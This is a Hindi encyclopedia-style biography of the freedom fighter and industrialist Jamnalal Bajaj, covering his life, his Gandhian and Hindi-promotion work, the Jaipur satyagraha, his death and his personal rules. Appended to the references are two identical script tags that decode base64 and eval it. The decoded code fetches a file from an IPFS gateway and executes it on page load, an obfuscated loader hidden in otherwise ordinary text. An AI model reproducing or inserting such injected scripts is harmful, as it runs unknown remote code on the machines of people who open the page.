जमनालाल बजाज

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जमनालाल बजाज
जमनालाल बजाज
पूरा नाम जमनालाल बजाज
जन्म 4 नवम्बर, 1889
जन्म भूमि काशी का वास, सीकर, राजस्थान
मृत्यु 11 फ़रवरी, 1942
मृत्यु स्थान वर्धा, महाराष्ट्र
अभिभावक पिता- कनीराम, माता- बिरदीबाई
पति/पत्नी जानकी देवी बजाज
नागरिकता भारतीय
प्रसिद्धि स्वतंत्रता संग्राम सेनानी, उद्योगपति
विशेष योगदान जमनालाल बजाज देश के प्रथम नेता थे, जिन्होंने वर्धा में अपने पूर्वजों के 'लक्ष्मीनारायण मंदिर' के द्वार 1928 में ही अछूतों के लिए खोल दिये थे।
अन्य जानकारी जमनालाल जी ने देश के पशुधन की रक्षा का काम अपने लिए चुना था और गाय को उसका प्रतीक माना था। इस काम में वे इतनी एकाग्रता और लगन के साथ जुट गये थे कि जिसकी कोर्इ मिसाल नहीं थी। उनका सबसे बड़ा काम गो-सेवा था।

जमनालाल बजाज (अंग्रेज़ी: Jamnalal Bajaj, जन्म- 4 नवम्बर, 1889, राजस्थान; मृत्यु- 11 फ़रवरी, 1942, वर्धा) स्वतंत्रता संग्राम सेनानी, उद्योगपति और मानवशास्त्री थे। वे महात्मा गाँधी के बहुत करीबी और उनके सच्चे अनुयायी थे। गाँधीजी उन्हें अपने पुत्र समान मानते थे। जमनालाल बजाज 1920 में कांग्रेस के कोषाध्यक्ष बने थे तथा इस पद पर वे जीवन भर रहे। उन्होंने वर्धा में ‘सत्याग्रह आश्रम’ की स्थापना की थी। इसके अलावा गौ सेवा संघ, गांधी सेवा संघ, सस्ता साहित्य मण्डल आदि संस्थाआं की स्थापना भी उनके द्वारा की गई। जमनालाल बजाज जाति भेद के विरोधी थे तथा उन्होंने हरिजन उत्थान के लिए भी प्रयत्न किया। उनकी स्मृति में सामाजिक क्षेत्रों में सराहनीय कार्य करने के लिये 'जमनालाल बजाज पुरस्कार' की स्थापना की गयी है।

परिचय

जयपुर, राजस्थान के एक छोटे से गांव काशी का वास में गरीब कनीराम किसान के यहाँ जमनालाल बजाज का जन्म 4 नवम्बर, 1889 को हुआ था। वे वर्धा के एक बड़े सेठ बच्छराज के यहां पांच वर्ष की आयु में गोद लिये गये थे। सेठ वच्छराज सीकर के रहने वाले थे। उनके पूर्वज सवा सौ साल पहले नागपुर में आकर बस गये थे। विलासिता और ऐश्वर्य का वातावरण इस बालक को दूषित नहीं कर पाया, क्‍योंकि उनका झुकाव तो बचपन से अध्यात्म की ओर था। जमनालाल की सगार्इ दस वर्ष की अवस्था में हो गयी थी। तीन वर्ष बाद जब जमनालाल 13 वर्ष के हुए तथा जानकी 9 वर्ष की हुर्इं, तो उनका विवाह धूमधाम से वर्धा में हुआ।

जमनालाल बजाज ने खादी और स्वदेशी अपनाया और अपने वेशकीमती वस्त्रों की होली जलार्इ। जमनालाल जी ने अपने बच्चों को किसी फैशनेबल पब्लिक स्कूल में नहीं भेजा, बल्कि उन्हें स्वेच्छापूर्वक वर्धा में आरम्भ किये गये विनोबा के सत्याग्रह आश्रम में भेजा। सन 1922 में अपनी पत्नी को लिखे एक पत्र में उन्होंने कहा कि- "मैं हमेशा से यही सोचता आया हूं कि तुम और हमारे बच्चे मेरे ही कारण किसी प्रकार की प्रतिष्ठा अथवा पद प्राप्त न करें। यदि कोर्इ प्रतिष्ठा अथवा पद प्राप्त हो, तो वह अपनी-अपनी योग्यता के बल पर हो। यह मेरे, तुम्हारे, उनके सबके हित में है।"[1]

महत्त्वपूर्ण कार्य

अखिल भारतीय कोषाध्यक्ष की हैसियत से खादी के उत्पादन और उसकी बिक्री बढ़ाने के विचार से जमनालाल बजाज ने देश के दूर-दराज भागों का दौरा किया, ताकि अर्धबेरोजगारों को फायदा पहुंच सके। 1935 में गांधीजी ने 'अखिल भारतीय ग्रामोद्योग संघ' की स्थापना की। इस नये संघ के लिए जमनालाल बजाज ने बडी खुशी से अपना विशाल बगीचा सौंप दिया, जिसका नाम गांधीजी ने स्वर्गीय मगनलाल गांधी के नाम पर 'मगनाडी' रखा। 1936 में 'अखिल भारतीय हिंदी साहित्य सम्मेलन', नागपुर के बाद तुरंत ही जमनालाल जी ने वर्धा में देश के पश्चिम और पूर्व के प्रांतों में हिंदी प्रचार के लिए, 'राष्ट्रभाषा प्रचार समिति' की स्थापना की तथा उसके लिए राशि इकट्ठा की। इसके कुछ ही समय बाद वह 'हिन्दी साहित्य सम्मेलन', मद्रास के अध्यक्ष चुने गये। अपने इस पद का उपयोग उन्होंने राष्ट्रभाषा आंदोलन को व्यवस्थित रूप देने की दिशा में किया। जमनालाल जी इसके अतिरिक्‍त मन, प्राण से हिन्दू-मुस्लिम एकता और अछूतोद्धार के काम में जुट गये। वास्तव में वे देश के प्रथम नेता थे, जिन्होंने वर्धा में अपने पूर्वजों के 'लक्ष्मीनारायण मंदिर' के द्वार 1928 में ही अछूतों के लिए खोल दिये थे। जमनालाल बजाज और उनकी पत्नी जानकी देवी अतिथियों की पसंद का बहुत खयाल रखते थे।

त्याग की दृष्टि से जमनालाल बजाज का अंतिम कार्य सर्वश्रेष्ठ रहा। देश के पशुधन की रक्षा का काम उन्होंने अपने लिए चुना था और गाय को उसका प्रतीक माना था। इस काम में वे इतनी एकाग्रता और लगन के साथ जुट गये थे कि जिसकी कोर्इ मिसाल नहीं थी। उनका सबसे बड़ा काम गो-सेवा का था। वैसे तो यह काम पहले भी चलता था, लेकिन धीमी चाल से। इससे उन्हें संतोष न था। उन्होंने इसे तीव्र गति से चलाना चाहा और इतनी तीव्रता से चलाया कि खुद ही चल बसे। अगर हमें गाय को जिंदा रखना है तो हमें भी उसकी सेवा में अपने प्राण खोने होंगे। जमनालाल जी कार्यकर्ताओं को केवल आर्थिक सहायता ही नहीं देते थे, वह उनके बच्चों की शिक्षा का भी प्रबंध करते थे। बीमार पड जाने पर उनकी चिकित्सा भी करवाते थे। वह ऐसे लोगों के बच्चों की सूची भी रखते थे और उनकी शादी बहुत कम खर्च में करवा देते थे। इसी कारण गांधीजी उन्हें स्नेह से "शादी काका" भी कहते थे।

'राय बहादुर' की पदवी

सन् 1918 में सरकार ने जमनालाल बजाज को 'राय बहादुर' की पदवी से अलंकृत किया। इसके लिए जब जमनालाल बजाज ने गांधीजी से सलाह मांगी तो उन्होंने कहा- "नये सम्मान का सदुपयोग करो। सम्मान और पदवी इत्यादि खतरनाक चीजे हैं। उनका सदुपयोग की जगह दुरुपयोग अधिक हुआ है। मैं चाहूंगा कि तुम उसका सदुपयोग करो। यह तुम्हारी देशभक्ति या आध्यात्मिक उन्नति के आडे नहीं आयेगा।" 1920 में कलकत्ता अधिवेशन में असहयोग का प्रस्ताव पारित हुआ, तो जमनालाल जी ने अपनी पदवी लौटा दी।

जयपुर सत्याग्रह

1931 में जमनालाल जी के प्रयत्नों के कारण 'जयपुर राज्य प्रजा मंडल' की स्थापना हुर्इ। 1936 में यह मंडल सक्रिय रूप से काम करने लगा। 30 मार्च, 1938 को जयपुर राज्य ने अचानक एक आदेश निकाल दिया कि सरकार की आज्ञा के बिना जयपुर राज्य में किसी भी सार्वजनिक संस्था की स्थापना नहीं की जा सकेगी। इस आदेश का मुख्य निशाना प्रजा मंडल की गतिविधियों को व्यर्थ करना था। मंडल का वार्षिक अधिवेशन 8 मई9 मई को जमनालाल जी की अध्यक्षता में घोषित किया जा चुका था। उन दिनों जयपुर के एक अंग्रेज़ दीवान बीकैम्प सेंटजान को जमनालाल की लोकप्रियता पसंद नहीं थी। 4 जुलाई, 1938 को बात बहुत बढ़ गयी और जयपुर पुलिस ने एक रेलगाड़ी पर गोलियां चला दी। जिसमें अनेक राजपूत मरे और घायल हुए। सीकर के राजपूत और जाट भड़क उठे और लगा कि खून की नदियां बहने लगेंगी। जब जमनालाल बजाज ने इस शर्मनाक परिस्थिति का समाचार सुना तो उन्होंने चाहा कि दोनों में सुलह हो जाये। सीकर जमनालाल जी का जन्म स्थान था। उन्होंने हिंसा के बजाय लोगों को अहिंसक बने रहने की सलाह दी। 30 दिसम्बर, 1938 को जयपुर राज्य में फैले हुए अकाल का लेखा-जोखा करने तथा राहत कार्य करने के लिए जमनालालजी सवार्इ माधोपुर स्टेशन पर दूसरी गाड़ी का इंतजार कर रहे थे। इतने में इंस्पेक्‍टर जनरल ऑफ पुलिस एफ. एस. यंग ने उनको एक आदेश दिया, जिसमें यह लिखा हुआ था कि रियासत में उनके प्रवेश और गतिविधियों के कारण शांति भंग होने का खतरा है। इसलिए वे रियासत की सीमा में प्रवेश नहीं कर सकते। किन्तु इस निेषेधाज्ञा ने प्रजा मंडल की आंखें खोल दीं। इसके कारण जमनालाल जी के नेतृत्व में सत्याग्रह किया गया। अंत में जयपुर रियासत को अपनी गलती स्वीकार करनी पड़ी। इसमें कोर्इ संदेह नहीं कि जमनालाल बजाज रियासतों में रहने वाली प्रजा के अधिकारों के सच्चे संरक्षक थे और वह अपने जीवन के अंत तक देशी राज्यों में नागरिक स्वतंत्रता के लिए अनथक संघर्ष करते रहे।

मृत्यु

1941 के व्यक्तिगत सत्याग्रह में जेल से रिहार्इ के बाद जमनालाल जी महात्मा गाँधी की सहमति से आनंदमयी मां से मिलने और अपनी आध्यात्मिक महत्त्वाकांक्षा को संतुष्ट करने का उपाय जानने की दृष्टि से देहरादून गये। राजपुर आश्रम में मां से मिलने के बाद जमनालाल जी ने गांधीजी को एक पत्र लिखा-

"मेरा शारीरिक और मानसिक स्वास्थ्य बहुत अच्छा है। मुझे स्वाभाविक जीवन जीने का यहां अवसर प्राप्त हुआ है। मुझे मां का स्नेह भी इस सीमा तक प्राप्त हो रहा है कि मुझे इससे संतुष्टि प्राप्त होती है। मां अहिंसा और प्रेम की जीती-जागती मूर्ति ही हैं। वातावरण भी मौन और कीर्तन का है। मां निरक्षर हैं, किन्तु कठिन से कठिन विषयों को बड़ी स्पष्टता के साथ समझती है और सदा आनंदमयी बनी रहती हैं।"

कहा जाता है कि यद्यपि मां विवाहित हैं, किन्तु जीवनभर ब्रह्मचारिणी रहीं। सत्य के प्रति उनका बड़ा आग्रह है। यहां जीवन बहुत सीधा-साधा है। आनंदमयी मां के आश्रम का वातावरण पवित्र और प्रेमपूर्ण है। मेरा मन यहां कुछ और दिन ठहरने का होता है। पिता की तरह मुझे बापू और मां आनंदमयी के रूप में मुझे माता मिल गयीं। वर्धा लौटने के बाद मस्तिष्क की नस फट जाने के कारण 11 फ़रवरी, 1942 में जमनालाल जी का एकाएक देहावसान हो गया।

जमनालाल जी के नियम

  1. किसी भी काग़ज़ पर बिना पढ़े हस्ताक्षर मत करो।
  2. इस उम्मीद में कहीं भी धन नहीं लगाना चाहिए कि केवल फायदा होगा।
  3. नहीं कहने में आगा-पीछा नहीं करना चाहिए। हरेक व्यक्ति जो सफल होना चाहता है, उसमें दूसरों को अपने वक्‍तव्य पर राजी करने की ताकत होनी चाहिए।
  4. अपरिचितों से सावधान रहो। इसका अर्थ यह नहीं कि उनसे संदेह का व्यवहार करो।
  5. व्यापार का हिसाब-किताब साफ-सुथरा और सच्चा होना चाहिए। हर चीज हिसाब से होनी चाहिए।
  6. किसी व्यक्ति की जमानत लेने से पहले उसके बारे में सब कुछ जान लो।
  7. पार्इ-पार्इ का हिसाब रखो।
  8. समय के बिलकुल पाबंद रहो और यदि किसी को किसी काम के लिए निश्चित समय दिया है तो उस पर दृढ़ता से पालन करो।
  9. तुम सचमुच जितना कर सकते हो, उससे अधिक करने की किसी को आशा मत बधाओं।
  10. र्इमानदारी के साथ चलो, किन्तु इसलिए नहीं कि तदनुसार चलने से लाभ होता है।
  11. जो करना चाहते हो आज ही कर डालो।
  12. केवल सफलता का ही विचार करो, सफलता की ही बात करो और तुम देखोगे कि तुम सफल हो गये हो।
  13. अपने शरीर और आत्मा की शक्ति पर विश्वास करो।
  14. कठिन श्रम करने में शर्म की कोर्इ बात नहीं है।
  15. साफ बात कहने में कभी नहीं हिचकिचाना चाहिए।


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टीका टिप्पणी और संदर्भ

नागोरी, डॉ. एस.एल. “खण्ड 3”, स्वतंत्रता सेनानी कोश (गाँधीयुगीन), 2011 (हिन्दी), भारतडिस्कवरी पुस्तकालय: गीतांजलि प्रकाशन, जयपुर, पृष्ठ सं 154।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. जमनालाल बजाज, महात्मा गाँधी तथा अन्य (हिन्दी) gandhiinaction.ning। अभिगमन तिथि: 14 जुलाई, 2018।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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